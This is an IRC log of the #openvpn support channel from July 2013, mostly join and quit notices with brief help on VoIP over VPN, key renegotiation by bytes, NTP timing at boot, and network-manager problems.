23:31 -!- thecaptain2000 [~quassel@82.179.216.87.static.jazztel.es] has joined #openvpn
23:39 < Poster> I always use full path, most distros will populate /etc/openvpn
23:40 < Poster> within there I usually do /etc/openvpn/certs and /etc/openvpn/keys
23:40 < Poster> and apply restrictive permissions as appropriate
23:40 < thecaptain2000> hi, I am a newcomer to openvpn, I am interested in it as I need an efficient voip service and I have kind of the feeling my adsl operator has a DPI and purposely  makes the  voip servive unuseable. if I set up a vpn service in my home server would it help? or would the traffic be encrypted just between my clients and the openvpn server (still at home) and the clear voip triffic thereafter?
23:41 < thecaptain2000> clear -> unencrypted
23:41 < Poster> I would be doubtful
23:41 < Poster> though you can try
23:43 < Poster> the implementations of VoIP I have used rely on very small and fast UDP frames, each one would need to be encrypted, sent over the wire, and decrypted, then sent out whatever Internet path to the VoIP service
23:43 < Poster> I attempted to encapsulate VoIP with OpenVPN long ago when I worked at a place that had a second building
23:43 < Poster> the traffic saturated a 400 MHz CPU and was not able to keep up
23:44 < Poster> this was a long time ago, probably 2002-2003 or so
23:45 < Poster> processing power has come a long way
23:46 -!- thecaptain2000 [~quassel@82.179.216.87.static.jazztel.es] has quit [Remote host closed the connection]
23:53 -!- Poster|w [poster@shell.bshellz.net] has quit [K-Lined]
--- Day changed Sun Jul 21 2013
00:21 <@krzee> lol pekster / EugeneKay i found my problem and it wasnt even my policy routing.  i finally saw that i was getting openvpn errors on the other side because the statickey setup was initiated before ntpd had updated the router's time.  i simply had to stop and start the vpn and ping works both ways now
00:21 <@krzee> statickey more forgiving (in a manner of speaking) so traffic still worked 1 way
00:22 <@krzee> ip looked at my policy routing stuff SOOOO many times, and in the end it wasnt even the problem :D
00:29 <@krzee> booya fixed it on boot by running ntpd first and sleeping 30sec before running openvpn
00:33 <@krzee> and with that ospf over vpns is working, and im ready to clone the setup to a backup router for when this somehow dies :D
00:56 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
00:57 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:30 <@krzee> and now i replaced sleeping 30sec with while [[ $(date +%Y) == "1970" ]] ;do sleep 5 ;done
01:32 <@EugeneKay> krzee - lulz
01:32 <@EugeneKay> I told you it looked right
01:32 <@krzee> yep, funny it what it ended up being
01:33 <@krzee> i figured that openvpn would figure out the system time updated, but this is OpenVPN 2.3_alpha3 mips-openwrt-linux-gnu as well
01:33 <@krzee> and in statickey mode
01:50 -!- JAVACODER [~JAVACODER@2.190.41.159] has joined #openvpn
02:03 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
03:56 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
03:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
04:29 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Quit: Leaving]
04:36 -!- JAVACODER [~JAVACODER@2.190.41.159] has quit [Read error: Connection reset by peer]
04:39 -!- JAVACODER [~JAVACODER@2.190.41.159] has joined #openvpn
04:45 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
05:25 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:39 -!- thecaptain2000 [~quassel@82.179.216.87.static.jazztel.es] has joined #openvpn
05:43 -!- thecaptain2000_ [~quassel@82.179.216.87.static.jazztel.es] has joined #openvpn
05:44 < thecaptain2000_> my question was more a principle one, meaning th trafic is encrypted between the openvpn server and the client. from the openvpn server till the destination the traffic is unencrypted, correct?
05:49 < thecaptain2000_>  I have installed openvpn-as on my home server for bypassing my internet provider DPI sloing down my voip traffic. one question, if I have a vpn server, the traffic would be encrypted between my clients and my server, but it would be clear from the server itself and the sip server, in other words the encryption  for my purpose would make sense just if the vpn provider is also the sip provider, correct?
06:37 < Aketzu_> yes
06:37 < Aketzu_> (although sip can also be encrypted independently)
06:48 -!- JAVACODER [~JAVACODER@2.190.41.159] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
07:37 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 246 seconds]
07:39 -!- thecaptain2000 [~quassel@82.179.216.87.static.jazztel.es] has quit [Remote host closed the connection]
07:39 -!- thecaptain2000_ [~quassel@82.179.216.87.static.jazztel.es] has quit [Remote host closed the connection]
07:39 -!- Whoopie_ [~Whoopie@unaffiliated/whoopie] has joined #openvpn
07:40 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
07:40 -!- qwertyoruiop is now known as qwertyoru
07:42 -!- Whoopie [Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 260 seconds]
07:57 -!- JSharpe [~JSharpe@ns237393.ovh.net] has joined #openvpn
08:03 -!- Whoopie_ [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 256 seconds]
08:07 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
08:09 -!- HyperGli_ [~HyperGlid@222.209.150.153] has joined #openvpn
08:11 -!- HyperGlide [~HyperGlid@110.185.145.96] has quit [Read error: Operation timed out]
08:11 < kisom> I assume there's not way of having OpenVPN trigger a key renegotiation after a certain amount of traffic rather than a fixed amount of seconds?
08:15 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Quit: leaving]
08:20 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
08:25 -!- Whoopie [Whoopie@unaffiliated/whoopie] has joined #openvpn
08:45 -!- XReaper [XReaper@i.bought.this.domain.fornoreason.net.au] has left #openvpn ["Leaving"]
08:49 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
08:51 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
09:36 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
09:41 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
09:52 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
09:55 -!- qmr_ is now known as qmr
09:56 -!- qwertyoru [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 260 seconds]
09:56 -!- HyperGli_ [~HyperGlid@222.209.150.153] has quit [Remote host closed the connection]
09:57 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
10:20 <@krzee> nope
10:20 -!- JSharpe_ [~JSharpe@5.152.198.170] has joined #openvpn
10:22 -!- JSharpe_ [~JSharpe@5.152.198.170] has quit [Client Quit]
10:24 -!- JSharpe [~JSharpe@ns237393.ovh.net] has quit [Ping timeout: 246 seconds]
10:28 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
10:33 < jzaw> kisom, krzee would a bulldozer way would be to to count bytes and then simply restart the client vpn ?
10:34 <@krzee> guess so
10:34 <@krzee> but whats the problem you expect to solve with that anyways
10:35 < jzaw> kisom, what is the problem? :)
10:36 <@krzee> ya i meant to aim that at him ;]
10:38 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
10:47 -!- cyberspace- [20253@ninthfloor.org] has quit [Quit: leaving]
10:56 -!- WayneR [~WayneR@77.28.26.88] has joined #openvpn
11:00 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
11:06 -!- WayneR [~WayneR@77.28.26.88] has quit [Quit: WayneR]
11:08 < kisom> I don't have a problem with it. I just think it would make a lot more sense to replace the key after a certain amount of data rather than time.
11:09 < kisom> Crypto attacks usually require a certain amount of data while time does not matter.
11:46 -!- Falconor [falconor@unaffiliated/falconor] has quit [Ping timeout: 246 seconds]
11:48 <+pekster> kisom: --reneg-bytes
11:56 <@krzee> whoa i obviously need to read over the manual again
11:58 <@krzee> been there since 2.0 too
11:59 -!- Falconor [falconor@unaffiliated/falconor] has joined #openvpn
12:01 < kisom> Funny, I've read the manual too
12:01 < kisom> Didn't notice it
12:01 < kisom> pekster: Thanks!
12:02 <@krzee> pekster++
12:11 -!- EmLeX_ [~emx@37.46.193.18] has joined #openvpn
12:11 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 260 seconds]
12:15 -!- EmLeX_ [~emx@37.46.193.18] has quit [Client Quit]
12:24 -!- EmLeX [~emx@37.46.193.18] has joined #openvpn
12:24 -!- EmLeX [~emx@37.46.193.18] has quit [Changing host]
12:24 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
12:34 < krantz> !welcome
12:34 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
12:34 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
12:51 -!- JackWinter1 [~jack@vodsl-10021.vo.lu] has quit [Quit: ZNC - http://znc.in]
12:53 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
13:01 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Ping timeout: 248 seconds]
13:02 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
13:38 -!- Netsplit *.net <-> *.split quits: JackWinter, krapper, Poster, and`, MacGyver, haasn, LeLutin, clever, Roelke, troyt,  (+9 more, use /NETSPLIT to show all of them)
13:39 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
13:42 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 276 seconds]
13:47 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
13:47 -!- Netsplit over, joins: LeLutin, lickalott
13:47 -!- and` [~averi@host68-2-dynamic.244-95-r.retail.telecomitalia.it] has joined #openvpn
13:47 -!- Netsplit over, joins: clever
13:47 -!- pekster [~rewt@cl-466.chi-03.us.sixxs.net] has joined #openvpn
13:47 -!- pekster [~rewt@cl-466.chi-03.us.sixxs.net] has quit [Changing host]
13:47 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
13:47 -!- Netsplit over, joins: soapee01
13:48 -!- Netsplit over, joins: JackWinter
13:48 -!- and` [~averi@host68-2-dynamic.244-95-r.retail.telecomitalia.it] has quit [Changing host]
13:48 -!- and` [~averi@debian/developer/and] has joined #openvpn
13:48 -!- Netsplit over, joins: Roelke
13:48 -!- Netsplit over, joins: abyss, Cybertinus, Cultist
13:49 -!- Netsplit over, joins: MacGyver
13:49 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
13:49 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
13:49 -!- Netsplit over, joins: Poster
13:50 -!- mode/#openvpn [+v pekster] by ChanServ
13:50 -!- Netsplit over, joins: haasn
13:51 -!- JAVACODER [~JAVACODER@2.190.34.253] has joined #openvpn
13:52 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
13:52 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
13:53 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
13:53 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
13:54 -!- eKKo [~3kk0@cpc20-wiga11-2-0-cust120.18-3.cable.virginmedia.com] has joined #openvpn
13:55 -!- eKKo [~3kk0@cpc20-wiga11-2-0-cust120.18-3.cable.virginmedia.com] has left #openvpn ["Leaving"]
13:58 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
14:09 -!- JAVACODER [~JAVACODER@2.190.34.253] has quit [Read error: Connection reset by peer]
14:10 -!- JAVACODER [~JAVACODER@2.190.34.253] has joined #openvpn
14:12 -!- Tera_ [~tera@ip133-114.seclan.com] has joined #openvpn
14:12 -!- Roelke_ [~Roelke@hostserv.nl] has joined #openvpn
14:13 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
14:14 -!- abyss_ [~abyss@i-free.pl] has joined #openvpn
14:14 -!- frank-- [~avenger@unaffiliated/thumbs] has joined #openvpn
14:15 -!- oBadAtom_ [~epigramma@badatom.org] has joined #openvpn
14:15 -!- gffa_ [~unknown@unaffiliated/gffa] has joined #openvpn
14:17 -!- gffa [~unknown@unaffiliated/gffa] has quit [Disconnected by services]
14:17 -!- gffa_ is now known as gffa
14:19 -!- mete- [~mete@mete.shell.la] has joined #openvpn
14:20 -!- Netsplit *.net <-> *.split quits: Tera, Roelke, abyss, mete, Aketzu_, oBadAtom, Drone4four, thumbs
14:23 -!- Netsplit over, joins: Drone4four
14:31 -!- JAVACODER [~JAVACODER@2.190.34.253] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
14:37 -!- frank-- is now known as thumbs
14:40 -!- Roelke [~Roelke@hostserv.nl] has joined #openvpn
14:42 -!- Roelke__ [~Roelke@hostserv.nl] has joined #openvpn
14:46 -!- Sazpaimon_ [wat@96.227.217.235] has joined #openvpn
14:46 -!- frank-- [~avenger@unaffiliated/thumbs] has joined #openvpn
14:46 -!- NChief_ [~nchief@unaffiliated/nchief] has joined #openvpn
14:52 -!- oO0Oo- [oO0Oo@gateway/shell/elitebnc/x-bzvxmrlpfhyntfwi] has joined #openvpn
14:52 -!- Netsplit *.net <-> *.split quits: Roelke
14:52 -!- RichardBronosky_ [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
14:52 -!- thumbs [~avenger@unaffiliated/thumbs] has quit [Killed (adams.freenode.net (Nickname regained by services))]
14:52 -!- frank-- is now known as thumbs
14:52 -!- Roelke_ [~Roelke@hostserv.nl] has quit [Ping timeout: 264 seconds]
14:53 -!- Netsplit *.net <-> *.split quits: oO0Oo, Sazpaimon, RichardBronosky, TypoNe, dropje, NChief
14:55 -!- excalibr [ubuntu@unaffiliated/excalibr] has quit [Disconnected by services]
14:55 -!- excalibr_ [ubuntu@ec2-50-18-223-198.us-west-1.compute.amazonaws.com] has joined #openvpn
14:56 -!- oO0Oo- [oO0Oo@gateway/shell/elitebnc/x-bzvxmrlpfhyntfwi] has quit [Excess Flood]
14:57 -!- oBadAtom [~epigramma@supporter/active/BadAtom] has joined #openvpn
14:59 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
14:59 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Write error: Broken pipe]
14:59 -!- oBadAtom_ [~epigramma@badatom.org] has quit [Write error: Broken pipe]
14:59 -!- johanbr [~johanbr@vps.nullinfinity.org] has quit [Write error: Broken pipe]
14:59 -!- krantz [~krantz@h-237-32.a199.priv.bahnhof.se] has quit [Write error: Broken pipe]
14:59 -!- master_o1_master [~master_of@p4FF24F19.dip0.t-ipconnect.de] has quit [Write error: Broken pipe]
14:59 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 240 seconds]
15:00 -!- master_of_master [~master_of@p4FF24F19.dip0.t-ipconnect.de] has joined #openvpn
15:00 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
15:00 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
15:00 -!- mode/#openvpn [+v hazardous] by ChanServ
15:02 -!- krantz [~krantz@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
15:04 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
15:11 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
15:12 -!- DereC [~inspiron@cpc16-ayle3-2-0-cust50.15-2.cable.virginmedia.com] has joined #openvpn
15:13 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
15:13 -!- DereC [~inspiron@cpc16-ayle3-2-0-cust50.15-2.cable.virginmedia.com] has left #openvpn []
15:18 -!- WayneR [~WayneR@77.28.13.59] has joined #openvpn
15:21 -!- johanbr [~johanbr@vps.nullinfinity.org] has joined #openvpn
15:27 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
15:27 < jozko> hi all
15:27 < jozko> is here someone for help?
15:27 < jozko> pls
15:34 < jozko> !logs
15:34 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
15:34 < jozko> !logfile
15:34 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
15:45 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
15:46 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit []
15:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
16:12 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
16:31 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
16:34 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 245 seconds]
16:50 -!- w_a [~w_a@213.128.183.116] has joined #openvpn
16:50 < w_a> !welcome
16:50 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
16:50 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:56 < w_a> is it posible to get openvpn to accsept connection on the lan ip when vpn is active ? i have a teamspeak server so runing on the pc so have the vpn connection (tun0) server works fine when vpn is not active but as soon as i activate the tunell people can not connect anymore to my wan ip. so is there any way for that the vpn connection can be up and same time people can connect to my teamspeak
16:56 < w_a> server ?
17:00 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
17:10 -!- averagecase [~anon@dslb-088-078-157-065.pools.arcor-ip.net] has joined #openvpn
17:21 -!- Falconor [falconor@unaffiliated/falconor] has quit [Ping timeout: 264 seconds]
17:21 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:34 < w_a> is it  iptabels i need to use to route that trafick
17:39 -!- WayneR [~WayneR@77.28.13.59] has quit [Quit: WayneR]
17:53 -!- averagecase [~anon@dslb-088-078-157-065.pools.arcor-ip.net] has quit [Quit: Verlassend]
18:00 -!- w_a [~w_a@213.128.183.116] has quit []
18:03 -!- Falconor [falconor@unaffiliated/falconor] has joined #openvpn
18:17 -!- Falconor [falconor@unaffiliated/falconor] has quit [Ping timeout: 256 seconds]
18:22 -!- Falconor [falconor@unaffiliated/falconor] has joined #openvpn
18:36 -!- Falconor [falconor@unaffiliated/falconor] has quit [Remote host closed the connection]
18:50 -!- master_of_master [~master_of@p4FF24F19.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
18:51 -!- master_of_master [~master_of@p4FF24C51.dip0.t-ipconnect.de] has joined #openvpn
19:18 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
19:20 -!- doradodd [~w_a@213.128.183.116] has joined #openvpn
19:21 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
19:23 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 268 seconds]
19:23 -!- michaelhart_ is now known as michaelhart
19:26 -!- ctmjr [~chuck@pdpc/supporter/active/ctmjr] has joined #openvpn
19:37 -!- excalibr_ is now known as excalibr
19:37 -!- excalibr [ubuntu@ec2-50-18-223-198.us-west-1.compute.amazonaws.com] has quit [Changing host]
19:37 -!- excalibr [ubuntu@unaffiliated/excalibr] has joined #openvpn
19:40 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
19:52 -!- Sazpaimon_ [wat@96.227.217.235] has quit [Read error: Connection reset by peer]
19:53 -!- Sazpaimon_ [wat@96.227.217.235] has joined #openvpn
19:57 -!- doradodd [~w_a@213.128.183.116] has quit []
20:01 -!- blueminder [blueminder@2600:3c02::f03c:91ff:fe96:2ad] has joined #openvpn
20:02 < blueminder> This maybe a very dumb question, but my Google-fu is failing me right now.
20:03 < blueminder> So, I can connect fine to my new OpenVPN config on my VPS, but I don't seem to know how to connect to the equivalent to localhost on the server-side.
20:05 < blueminder> Pinging the address determined by the server's tun interface from my client only seems to time out.
20:25 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
20:26 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
20:29 -!- blueminder [blueminder@2600:3c02::f03c:91ff:fe96:2ad] has left #openvpn []
20:42 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
20:43 -!- Falconor [falconor@unaffiliated/falconor] has joined #openvpn
20:43 < Falconor> [A-as
20:43 < Falconor> err, sorry.
20:51 -!- Devastator [~devas@186.214.110.227] has joined #openvpn
20:51 -!- Devastator [~devas@186.214.110.227] has quit [Changing host]
20:51 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
21:05 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
21:28 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Quit: Nettalk6 - www.ntalk.de]
21:32 -!- Falconor [falconor@unaffiliated/falconor] has quit [Remote host closed the connection]
21:45 -!- Falconor [falconor@unaffiliated/falconor] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:17 -!- ctmjr [~chuck@pdpc/supporter/active/ctmjr] has quit [Quit: Leaving]
23:03 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
23:07 -!- Ronoclaf [falconor@pool-71-178-185-225.cmdnnj.fios.verizon.net] has joined #openvpn
23:13 -!- Netsplit *.net <-> *.split quits: Falconor
23:15 -!- simcop2387_ [~simcop238@p3m/member/simcop2387] has joined #openvpn
23:18 -!- Netsplit *.net <-> *.split quits: simcop2387, speed_racer84
23:18 -!- simcop2387_ is now known as simcop2387
23:39 -!- Wheelz [~Wheelz@74-92-79-129-Philadelphia.hfc.comcastbusiness.net] has joined #openvpn
23:47 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
--- Day changed Mon Jul 22 2013
00:08 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 264 seconds]
00:28 -!- djanbo [~djanbo@41.95.182.139] has joined #openvpn
00:44 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
00:46 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
00:47 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
00:58 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 264 seconds]
01:12 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
01:13 -!- Devastator [~devas@177.99.152.241] has joined #openvpn
01:16 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:20 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
02:15 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:20 -!- Denial [Denial@90.202.26.221] has joined #openvpn
03:21 -!- mattock_afk is now known as mattock
03:29 -!- nish [~nish@195.1.174.154] has left #openvpn []
03:39 -!- xBytez [~xbytez@xbytez.xxx] has quit [Ping timeout: 246 seconds]
03:43 -!- and` [~averi@debian/developer/and] has quit [Ping timeout: 264 seconds]
03:45 -!- xBytez [~xbytez@xbytez.xxx] has joined #openvpn
03:56 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
03:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
04:15 -!- Tera_ is now known as Tera
04:15 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
04:15 -!- Tera [~tera@ip133-114.seclan.com] has quit [Changing host]
04:15 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
04:27 -!- WayneR [~WayneR@77.28.28.21] has joined #openvpn
04:33 -!- ChristophWegener [~Christoph@202-159-144-178.dyn.iinet.net.au] has joined #openvpn
04:33 -!- ChristophWegener [~Christoph@202-159-144-178.dyn.iinet.net.au] has quit [Remote host closed the connection]
04:37 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
04:42 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
04:42 -!- batrick [batrick@nmap/developer/batrick] has quit [Ping timeout: 260 seconds]
04:44 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
04:57 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
04:58 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
05:02 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
05:05 -!- Wheelz [~Wheelz@74-92-79-129-Philadelphia.hfc.comcastbusiness.net] has quit [Ping timeout: 256 seconds]
05:14 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
05:17 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 248 seconds]
05:33 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
05:52 -!- WayneR [~WayneR@77.28.28.21] has quit [Quit: WayneR]
06:24 -!- woshty_ [~woshty@no3.woshty.de] has joined #openvpn
06:25 < woshty_> Is there a version of network-manager-openvpn that properly supports importing config files?
06:25 -!- woshty_ is now known as woshty
06:30 <@ecrist> not sure
06:31 < woshty> Just running openvpn via the command line does not work either, as network-manager is somehow interfering with the routing and dns assignments all the time.
06:36 -!- Ronoclaf is now known as Falconor
06:37 -!- Falconor [falconor@pool-71-178-185-225.cmdnnj.fios.verizon.net] has quit [Changing host]
06:37 -!- Falconor [falconor@unaffiliated/falconor] has joined #openvpn
06:37 <@ecrist> I generally recommend people stay away from network manager
06:37 <@ecrist> I've been told all the issues are fixed, though
06:37 <@ecrist> !ubuntu
06:37 <@vpnHelper> "ubuntu" is dont use network manager!
06:41 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
06:41 < woshty> ecrist: It is kind impossible to find any alternatives for just giving a graphically interface to bring up devices, connect to wireless  and run skripts .. but network-manager has that gnome feeling to it ;)
06:41 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
06:41 <@ecrist> I'm here to support OpenVPN, not some bullshit GUI. :)
06:45 -!- suprMan2` [~clark_ken@62-209-20-1.wimax.bb.zain.com] has joined #openvpn
06:48 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Ping timeout: 264 seconds]
06:55 -!- suprMan2` [~clark_ken@62-209-20-1.wimax.bb.zain.com] has quit [Read error: Connection reset by peer]
07:07 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:21 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
07:22 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
07:24 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 264 seconds]
07:27 -!- xBytez [~xbytez@xbytez.xxx] has quit [Ping timeout: 264 seconds]
07:28 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
07:30 -!- WayneR [~WayneR@77.28.28.21] has joined #openvpn
07:31 -!- xBytez [~xbytez@xbytez.xxx] has joined #openvpn
07:31 -!- linuxthefish [linuxfish@gateway/shell/freebnc/x-xzpjavczzxthzool] has joined #openvpn
07:31 < linuxthefish> please help me
07:32 < linuxthefish> http://prq.se/?p=tunnel&intl=1
07:32 <@vpnHelper> Title: PRQ - Colocation, Dedicated Servers, Web hosting, VPN Tunnels, Privacy services. (at prq.se)
07:32 < linuxthefish> how can i do this?
07:32 < linuxthefish> like run a openvpn server on my VPS, and run a webserver on my PC at home
07:32 < linuxthefish> and have my webserver appear over my VPN ip
07:32 -!- mattock is now known as mattock_afk
07:38 -!- Devastator [~devas@177.99.152.241] has quit [Changing host]
07:38 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
07:39 < kisom> linuxthefish: Read the manual, it's all in there.
07:39 < kisom> linuxthefish: There are also several tutorials available on openvpn.net
07:41 -!- xBytez [~xbytez@xbytez.xxx] has quit [Ping timeout: 256 seconds]
07:42 -!- michaelhart [~michaelha@69-165-175-193.dsl.teksavvy.com] has joined #openvpn
07:42 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 264 seconds]
07:43 -!- xBytez [~xbytez@xbytez.xxx] has joined #openvpn
07:57 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
08:00 < linuxthefish> where can i find the manual :/
08:00 < linuxthefish> http://openvpn.net/ such a confusing site
08:00 <@vpnHelper> Title: OpenVPN - Open Source VPN (at openvpn.net)
08:03 < kisom> linuxthefish: Type "man openvpn" in your terminal.
